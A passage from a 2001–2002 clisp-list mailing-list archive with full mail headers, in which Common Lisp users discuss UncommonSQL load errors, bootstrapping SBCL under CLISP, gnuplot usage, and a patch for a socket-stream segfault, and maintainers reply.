/usr/share/common-lisp/source/uncommonsql/sql/dbms-interface.lisp instead? y dbms-interface.lisp instead? y ; - Should I bother you if this happens again? n n ; - Should I compile and load or not? y y *** - DEFGENERIC DATABASE-LIST-TABLES: No initializations are allowed in a generic function lambda-list: (DATABASE &KEY (SYSTEM-TABLES NIL)) My question is, am I doing something foolish or is there a problem with UncommonSQL when used with clisp? Thanks for any help (and have a successful New Year). Saul Hazledine _____________________________________________________________ Sign up for a 6mb FREE email from http://www.spl.at From william.newman@airmail.net Sun Dec 30 11:27:31 2001 Received: from mx3.airmail.net ([209.196.77.100]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16KlcI-0001iu-00 for ; Sun, 30 Dec 2001 11:27:30 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx3.airmail.net with smtp (Exim 3.16 #10) id 16KlcJ-000Lvc-00 for clisp-list@lists.sourceforge.net; Sun, 30 Dec 2001 13:27:31 -0600 Received: from balefire.localdomain from [207.136.47.186] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Sun, 30 Dec 2001 13:29:07 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id fBUJHGI11086; Sun, 30 Dec 2001 13:17:16 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20011230131716.B6073@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] problems bootstrapping SBCL with CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 30 11:28:03 2001 X-Original-Date: Sun, 30 Dec 2001 13:17:16 -0600 I spent some time in the Atlanta airport this Christmas, which I can't recommend as a hub except for the relatively high availability of electrical outlets for laptops. I diverted myself by trying to use CLISP "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)" under OpenBSD 2.9 on my PIII laptop as a cross-compilation host for SBCL. I made some progress, but I still couldn't get it to work. There was a non-ANSI-ism in CLISP that I successfully worked around: (DOCUMENTATION X) fails when X is a PACKAGE. There was a problem in SBCL code that CLISP pointed out. Some dead code for the :SB-SHOW feature was being built even when that feature wasn't given as a target feature. CLISP complained because the dead code was defined in terms of a special variable which didn't exist in that case. I fixed that. There was what seems to be a problem in CLISP that I gave up on, but which maybe someone here could help with. To replicate the problem, check SBCL out of CVS (since I dunno whether it'd be exactly the same in the last release version) and do $ sh make.sh clisp and wade through the output. Find the message *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists (where of course the absolute filenames will be different on your system depending on where you're building SBCL). I think this means that CLISP considers it a fatal error that the target file exists when it does RENAME-FILE. I don't think this is coming from an actual RENAME-FILE call in my code, since I tried to protect those with preceding #+CLISP (DELETE-FILE ...) operations and that didn't fix the problem. I don't really understand the BACKTRACE from the point of the error, Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished. 0 errors, 0 warnings *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists 1. Break SB-COLD[8]> backtrace EVAL frame for form (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P (FIND :IGNORE-FAILURE-P FLAGS)) EVAL frame for form (UNLESS (FIND :NOT-HOST FLAGS) (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P (FIND :IGNORE-FAILURE-P FLAGS))) EVAL frame for form (LET ((STEM (FIRST #:STEM-AND-FLAGS-5802)) (FLAGS (REST #:STEM-AND-FLAGS-5802))) (UNLESS (FIND :NOT-HOST FLAGS) (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P (FIND :IGNORE-FAILURE-P FLAGS)))) EVAL frame for form (TAGBODY #:G5804 (IF (ENDP #:G5803) (GO #:G5805)) (SETQ #:STEM-AND-FLAGS-5802 (CAR #:G5803)) (LET ((STEM (FIRST #:STEM-AND-FLAGS-5802)) (FLAGS (REST #:STEM-AND-FLAGS-5802))) (UNLESS (FIND :NOT-HOST FLAGS) (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P (FIND :IGNORE-FAILURE-P FLAGS)))) ...) but my guess the failure might be from a RENAME-FILE call within (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ). My impression from the ANSI specification of RENAME-FILE is that it shouldn't be signalling an error when the target filename already exists (at least unless there's a permission problem which stops the rename operation from continuing) but YMMV. Meanwhile, whatever way CLISP deals with this situation, if anyone who knows more about the CLISP debugger could tell me more about where and why the error is happening, I could try to tweak the SBCL build process to work around the problem. There's also a remaining non-ANSI-ism in CLISP which has historically caused problems in SBCL bootstrapping, even though I didn't run into it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals an error). Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the post-CLTL1 "~_" directive) caused problems when I tried to build another application under CLISP. I use "~_" directives a lot in my debugging and error messages in any Lisp code, including SBCL, so that might become a nuisance as further progress is made in SBCL bootstrapping. It should be straightforward to work around that with #-CLISP/#+CLISP code, but it would be nice not to have to. -- William Harold Newman HAPPY HACKING TO ALL, AND I'LL BE BACK NEXT YEAR! -- http://www.yetanother.org/damian/diary_December_2001.html#day_24 PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From lin8080@freenet.de Tue Jan 01 15:11:02 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LY3h-0004nF-00 for ; Tue, 01 Jan 2002 15:11:01 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 16LY3d-0000Xz-00 for clisp-list@lists.sourceforge.net; Wed, 02 Jan 2002 00:10:57 +0100 Received: from b78b8.pppool.de ([213.7.120.184] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16LY3d-0000uy-00 for clisp-list@lists.sourceforge.net; Wed, 02 Jan 2002 00:10:57 +0100 Message-ID: <3C324199.85A67FFF@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] find it out References: <20011230131716.B6073@balefire.localdomain> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 15:12:02 2002 X-Original-Date: Wed, 02 Jan 2002 00:09:13 +0100 Hallo Now I test and test and find something that works. So is there a better way to do it ? This is because I'm new to CL (Version: "2000-03-06 (March 2000)" on win98). The code is: --------------------- (setq sysdat (make-array '(6 3))) ... (setf (aref sysdat 5 1) 'load) ... (defun o () (eval (list (aref sysdat 5 1) "test.lisp")) ) ------------------- Usually I named my new coding file "test.lisp". So now I typed in (o) instead of (load "test.lisp"). The backtrace and redo function is not so often in use, but the abort, to reach the toplevel. So, what is your method testing new code ? Are there any tips ? stefan From samuel.steingold@verizon.net Tue Jan 01 16:12:29 2002 Received: from out001pub.verizon.net ([206.46.170.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LZ1A-0006ib-00 for ; Tue, 01 Jan 2002 16:12:28 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by out001pub.verizon.net with ESMTP ; id g020CHfc012824 Tue, 1 Jan 2002 18:12:19 -0600 (CST) To: "Rehm, Keith" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gnuplot References: <382EBB97DD96144F814D50663EE8682C4DE55E@exchange1.ssd.fsi.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <382EBB97DD96144F814D50663EE8682C4DE55E@exchange1.ssd.fsi.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 16:13:04 2002 X-Original-Date: 01 Jan 2002 19:11:11 -0500 > * In message <382EBB97DD96144F814D50663EE8682C4DE55E@exchange1.ssd.fsi.com> > * On the subject of "[clisp-list] gnuplot" > * Sent on Thu, 27 Dec 2001 15:58:22 -0600 > * Honorable "Rehm, Keith" writes: > > I set: > (defcustom *gnuplot-path* simple-string > (defcustom *gnuplot-path-console* simple-string > in gnuplot.lisp. it's better not to modify but set these variables in your ~/.clisprc. > [16]> (setq gp-stream (cllib:make-plot-stream :print)) this is for defining new kinds of plot streams, not for UI. > gnuplot> plot sin(x) w l (plot-functions (list (cons 'sine #'sin) (cons 'cosine #'cos)) 0 pi 100 :legend '(:bot :left :box) :grid t :plot :wait) if a function is marked with ";;;###autoload", it's for you to use. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From samuel.steingold@verizon.net Tue Jan 01 19:39:57 2002 Received: from [206.46.170.237] (helo=pop010pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LcFv-0001JW-00 for ; Tue, 01 Jan 2002 19:39:55 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop010pub.verizon.net with ESMTP ; id g023di5g004275 Tue, 1 Jan 2002 21:39:44 -0600 (CST) To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP References: <20011230131716.B6073@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011230131716.B6073@balefire.localdomain> Message-ID: Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 19:40:17 2002 X-Original-Date: 01 Jan 2002 22:38:30 -0500 > * In message <20011230131716.B6073@balefire.localdomain> > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP" > * Sent on Sun, 30 Dec 2001 13:17:16 -0600 > * Honorable William Harold Newman writes: > > "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)" this was built in the end of November 2001 from quite old sources. you should use the CVS sources as many things (like MAKE-LOAD-FORM, FORMAT ~_ &c) have been added. > There was a non-ANSI-ism in CLISP that I successfully worked around: > (DOCUMENTATION X) fails when X is a PACKAGE. this is a known deficiency: DOCUMENTATION still has CLtL1 implementation. patches are welcome. > Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished. > 0 errors, 0 warnings > *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists > 1. Break SB-COLD[8]> backtrace > EVAL frame for form > (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P > (FIND :IGNORE-FAILURE-P FLAGS)) what's the value of the variable LOAD-OR-CLOAD-STEM? it is the function which generates the error. > but my guess the failure might be from a RENAME-FILE call within > (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ). :TMP-OBJ is not a valid arg to :OUTPUT-FILE. (compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas") works just fine for me. > There's also a remaining non-ANSI-ism in CLISP which has historically > caused problems in SBCL bootstrapping, even though I didn't run into > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals > an error). hmmm - didn't know about this bug. I will look into this. > Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the > post-CLTL1 "~_" directive) this has been added some months ago. please use the CVS version. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Perl: all stupidities of UNIX in one. From samuel.steingold@verizon.net Tue Jan 01 19:40:40 2002 Received: from out007pub.verizon.net ([206.46.170.107]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LcGd-0001Yo-00 for ; Tue, 01 Jan 2002 19:40:40 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by out007pub.verizon.net with ESMTP ; id g023eSI02919 Tue, 1 Jan 2002 21:40:30 -0600 (CST) To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP References: <20011230131716.B6073@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011230131716.B6073@balefire.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 Message-ID: Lines: 54 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 19:41:22 2002 X-Original-Date: 01 Jan 2002 22:39:13 -0500 > * In message <20011230131716.B6073@balefire.localdomain> > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP" > * Sent on Sun, 30 Dec 2001 13:17:16 -0600 > * Honorable William Harold Newman writes: > > "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)" this was built in the end of November 2001 from quite old sources. you should use the CVS sources as many things (like MAKE-LOAD-FORM, FORMAT ~_ &c) have been added. > There was a non-ANSI-ism in CLISP that I successfully worked around: > (DOCUMENTATION X) fails when X is a PACKAGE. this is a known deficiency: DOCUMENTATION still has CLtL1 implementation. patches are welcome. > Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished. > 0 errors, 0 warnings > *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists > 1. Break SB-COLD[8]> backtrace > EVAL frame for form > (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P > (FIND :IGNORE-FAILURE-P FLAGS)) what's the value of the variable LOAD-OR-CLOAD-STEM? it is the function which generates the error. > but my guess the failure might be from a RENAME-FILE call within > (COMPILE-FILE SRC :OUTPUT-FILE :TMP-OBJ). :TMP-OBJ is not a valid arg to :OUTPUT-FILE. (compile-file "d:/sds/lisp/init.lisp" :output-file "c:/tmp/tmp.fas") works just fine for me. > There's also a remaining non-ANSI-ism in CLISP which has historically > caused problems in SBCL bootstrapping, even though I didn't run into > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals > an error). hmmm - didn't know about this bug. I will look into this. > Also, CLISP's non-ANSI-compliant FORMAT strings (no support for the > post-CLTL1 "~_" directive) this has been added some months ago. please use the CVS version. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Perl: all stupidities of UNIX in one. From samuel.steingold@verizon.net Tue Jan 01 20:28:30 2002 Received: from out006pub.verizon.net ([206.46.170.106]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ld0v-0005ma-00 for ; Tue, 01 Jan 2002 20:28:29 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by out006pub.verizon.net with ESMTP ; id g024S4g09008 Tue, 1 Jan 2002 22:28:05 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 142 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 20:29:02 2002 X-Original-Date: 01 Jan 2002 23:26:49 -0500 > * In message > * On the subject of "[clisp-list] bugs in (setf (stream-element-type x) ...)" > * Sent on 29 Dec 2001 11:10:47 -0500 > * Honorable Todd Sabin writes: > > This is with clisp-2.27, on RH Linux 6.2. > > So, I was trying to write some sample code that would act as an HTTP > client. What I did was (socket-connect ...), (format ...), then > (read-line ...) until I got the empty line. At that point, I did > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then > (read-sequence *array* *socket*), where *array* was obtained from > make-array with the size specified by the Content-Length: header. > > Everything worked, except that the first element in *array* got the > value 10 (LF), and the rest of the data was shifted by one byte, > leaving one byte of the actual data unread. I realized that somehow I > was getting the final LF from the headers, even though it should have > already been read. Indeed, if instead of doing the (setf > (stream-element-type ...)), I just did (read-char *socket*), I would > get the first char of the data, and not #\Newline. > > I figured that it probably had something to do with CRLF -> #\Newline > translation, and that maybe it wouldn't be a problem with buffering. > So, I tried: > > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) > # > [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0 > > ") you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-) > NIL > [3]> (force-output *my-sock*) > NIL > [4]> (read-line *my-sock*) > "HTTP/1.1 200 OK" ; > NIL > [5]> (setf (stream-element-type *my-sock*) '(unsigned-byte 8)) > > *** - SYSTEM::BUILT-IN-STREAM-SET-ELEMENT-TYPE: argument > *** - handle_fault error2 ! address = 0x40490824 not in [0x2029E000,0x2035A410) ! > SIGSEGV cannot be cured. Fault address = 0x40490824. > Segmentation fault (core dumped) > > Well, I tracked the crash down, and this patch fixes it: > > --- stream.d Mon Jul 16 10:35:54 2001 > +++ ../../clisp-2.27-tas/src/stream.d Fri Dec 28 23:31:44 2001 > @@ -16238,9 +16238,9 @@ > #ifdef SOCKET_STREAMS > case strmtype_twoway_socket: > # Apply to the input and output side individually. > - pushSTACK(TheStream(STACK_1)->strm_twoway_socket_input); pushSTACK(STACK_(0+1)); > + pushSTACK(TheStream(stream)->strm_twoway_socket_input); pushSTACK(STACK_(0+1)); > funcall(L(built_in_stream_set_element_type),2); > - pushSTACK(TheStream(STACK_1)->strm_twoway_socket_output); pushSTACK(STACK_(0+1)); > + pushSTACK(TheStream(stream)->strm_twoway_socket_output); pushSTACK(STACK_(0+1)); > funcall(L(built_in_stream_set_element_type),2); > break; > #endif thanks for the patch - I applied it. > I'm not sure why the code was using STACK_1 instead of stream to begin > with, but if there was a reason to reference the stack directly, it > should have been STACK_2, not STACK_1. With the patch, the buffered > case works as expected, no extra LF. > > The problem in the unbuffered case turns out to be the way CRLF is > handled in the unbuffered case. If read-line encounters a CRLF in the > input stream, the LF remains unread, and the ignore_next_LF flag is > set. When (setf (stream-element-type ...)) is used, that flag is lost > or discarded, which causes the problem. > > There seem to be a few ways around it, but I haven't attempted any of > them. > > o The flag could be done away with by reading the next char from > input, and discarding it if it's a LF, and unreading it if not. In > theory, this might cause an app to hang where it wouldn't have before, > but I think the risk of that is pretty low. using UnbufferedStreamLow_listen() should prevent hanging. if (ignore_next_LF) { if (UnbufferedStreamLow_listen()) { if (peak_char() == LF) read_char(); } } patch would be welcome. > o The flag could be preserved across the (setf (stream-element-type > ...)), but then all the read-byte functions would need to be aware of > it. > > o apps can do a (peek-char *stream*) before > (setf (stream-element-type ...)) to workaround it. Seems gross to > require that of apps, though. > > Anyway, this is the first I've looked at clisp source code, so I'm > sure you'll have a better idea of how to handle this. > > > Todd > > p.s. I looked, but didn't find, some instructions for developers on > how to debug clisp. I managed to build it with debugging info by > adding the appropriate "-g"s to the Makefile, but it crashed with > sigsegv whenever I tried to do a step or next in gdb. Is there a > secret to debugging clisp in gdb? I had to resort to printfs. I saw > the Makefile.devel, but it didn't seem to have any support for doing a > debug build. this is strange - I have never seen this. did you try giving "debug" arg to makemake? (makemake --help mentions this) > p.p.s. Is there any way not to do the CRLF translation? As it > stands, if I wanted to, e.g., write a network server that verified > strict compliance of its clients, i.e., make sure there are both a CR > and a LF at the end of lines, there's no way to do it with clisp, > unless I treat everything as bytes instead of chars, which makes lots > of other things unwieldy. This is true. This feature has been requested in the past and was turned down - it adds more complexity for a doubtful benefit. The real answer is: "if you want to distinguish between CR and CR/LF, you are doing something too low level" (or, maybe even "if you think you need to distinguish between CR and CR/LF, think again"). If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR slot to ENCODING) and send us a patch, we will think about it. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From samuel.steingold@verizon.net Tue Jan 01 20:36:02 2002 Received: from [206.46.170.239] (helo=pop012pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ld8E-0008QB-00 for ; Tue, 01 Jan 2002 20:36:02 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop012pub.verizon.net with ESMTP ; id g024aC9U019326 Tue, 1 Jan 2002 22:36:12 -0600 (CST) To: saul@spl.at Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, defsystem and UncommonSQL References: <20011230121817.26C8F2755@sitemail.everyone.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011230121817.26C8F2755@sitemail.everyone.net> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 1 20:37:01 2002 X-Original-Date: 01 Jan 2002 23:34:33 -0500 > * In message <20011230121817.26C8F2755@sitemail.everyone.net> > * On the subject of "[clisp-list] clisp, defsystem and UncommonSQL" > * Sent on Sun, 30 Dec 2001 04:18:17 -0800 (PST) > * Honorable Saul Hazledine writes: > > I am a perl programmer who is learning lisp. welcome! > *** - DEFGENERIC DATABASE-LIST-TABLES: No initializations are allowed in a generic function lambda-list: (DATABASE &KEY (SYSTEM-TABLES NIL)) > > My question is, am I doing something foolish or is there a problem > with UncommonSQL when used with clisp? Thanks for any help (and have a > successful New Year). this indicates a bug in the code you are loading. the form (defgeneric database-list-tables (DATABASE &KEY (SYSTEM-TABLES NIL)) ...) is illegal in ANSI Common Lisp: 3.4.2 Generic Function Lambda Lists ... Optional and keyword arguments Optional parameters and keyword parameters may not have default initial value forms nor use supplied-p parameters. ... a quick fix for you is to edit the file and replace the above form with (defgeneric database-list-tables (DATABASE &KEY SYSTEM-TABLES) ...) you should definitely report this bug to the authors of the program you are using! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Warning! Dates in calendar are closer than they appear! From miguelg@gnu.org Wed Jan 02 02:49:58 2002 Received: from d141095.sjm.pt.kpnqwest.net ([193.126.141.95] helo=takeaway.miguelg.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Liy4-0001qa-00 for ; Wed, 02 Jan 2002 02:49:57 -0800 Received: (from miguelg@localhost) by takeaway.miguelg.net (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) id g02AjJb00833 for clisp-list@lists.sourceforge.net; Wed, 2 Jan 2002 10:45:19 GMT X-Authentication-Warning: takeaway.miguelg.net: miguelg set sender to miguelg@gnu.org using -f From: Miguel =?iso-8859-1?Q?Gon=E7alves?= To: clisp-list@lists.sourceforge.net Message-ID: <20020102104519.A813@takeaway.miguelg.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="FCuugMFkClbJLl1L" Content-Disposition: inline User-Agent: Mutt/1.3.16i Subject: [clisp-list] Pure LISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 02:50:04 2002 X-Original-Date: Wed, 2 Jan 2002 10:45:19 +0000 --FCuugMFkClbJLl1L Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello! I am starting out with Common Lisp and I have a question: Does pure LISP include sequential calls to functions, i.e.,=20 (progn f1 f2)? I can write the previous function as=20 ((lambda (p) f2) f1) also that is similar in a mathematical language to f2(f1) and therefore LISP evaluates f1 first. How can I write sequential code in LISP without this? In particular I have a function like this: (defun terminate (connection message) (progn (close connection) (format t "~s~%" message) (exit 1) ) ) Can I use thee following construction? (defun terminate (connection message) (exit (format t "~s~%" message (close connection))) ) TIA, Miguel Gon=E7alves --- I do not read proprietary document formats such as MS Word or MS Excel, so send my files in ASCII, PDF, PostScript, XML, HTML, TeX=20 or LaTeX. --FCuugMFkClbJLl1L Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8MuS9XvLYqjjV1xkRAuE/AKCTgahOF5pM0EGhZaiBctVwGclUiQCfVQ60 abNTg97gj9U0cjoVcTYQasM= =lcCJ -----END PGP SIGNATURE----- --FCuugMFkClbJLl1L-- From fw@deneb.enyo.de Wed Jan 02 03:11:27 2002 Received: from mail.s.netic.de ([212.9.160.11] helo=mail.netic.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16LjIs-0006lh-00 for ; Wed, 02 Jan 2002 03:11:26 -0800 Received: by mail.netic.de (Smail3.2.0.111/mail.s.netic.de) via LF.net GmbH Internet Services via remoteip 212.9.163.96 via remotehost mail.enyo.de with esmtp for mail.sourceforge.net id m16LjIm-001XB3C; Wed, 2 Jan 2002 12:11:20 +0100 (CET) Received: from [192.168.1.2] (helo=deneb.enyo.de ident=exim) by mail.enyo.de with esmtp (Exim 3.12 #1) id 16LjFX-00011O-00; Wed, 02 Jan 2002 12:07:59 +0100 Received: from fw by deneb.enyo.de with local (Exim 3.12 #1) id 16LjFc-0000m6-00; Wed, 02 Jan 2002 12:08:04 +0100 To: Miguel =?iso-8859-1?q?Gon=E7alves?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Pure LISP? References: <20020102104519.A813@takeaway.miguelg.net> From: Florian Weimer In-Reply-To: <20020102104519.A813@takeaway.miguelg.net> (Miguel =?iso-8859-1?q?Gon=E7alves's?= message of "Wed, 2 Jan 2002 10:45:19 +0000") Message-ID: <87wuz12ep7.fsf@deneb.enyo.de> Lines: 11 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.1 (i686-pc-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 2 03:12:04 2002 X-Original-Date: Wed, 02 Jan 2002 12:08:04 +0100 Miguel Gon=E7alves writes: > Does pure LISP include sequential calls to functions, i.e.,=20 > (progn f1 f2)? > > I can write the previous function as=20 > ((lambda (p) f2) f1) also that is similar in a mathematical language > to f2(f1) and therefore LISP evaluates f1 first. In "pure LISP" (for reasonable definitions of "pure"), the order of evaluation of expressions does not matter. From rray1@netdoor.com Wed Jan 02 06:42:27 2002 Received: from net11h130.itsd.state.ms.us ([205.144.226.130] helo=rray.mstc.state.ms.us) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Lmb3-0005pq-00 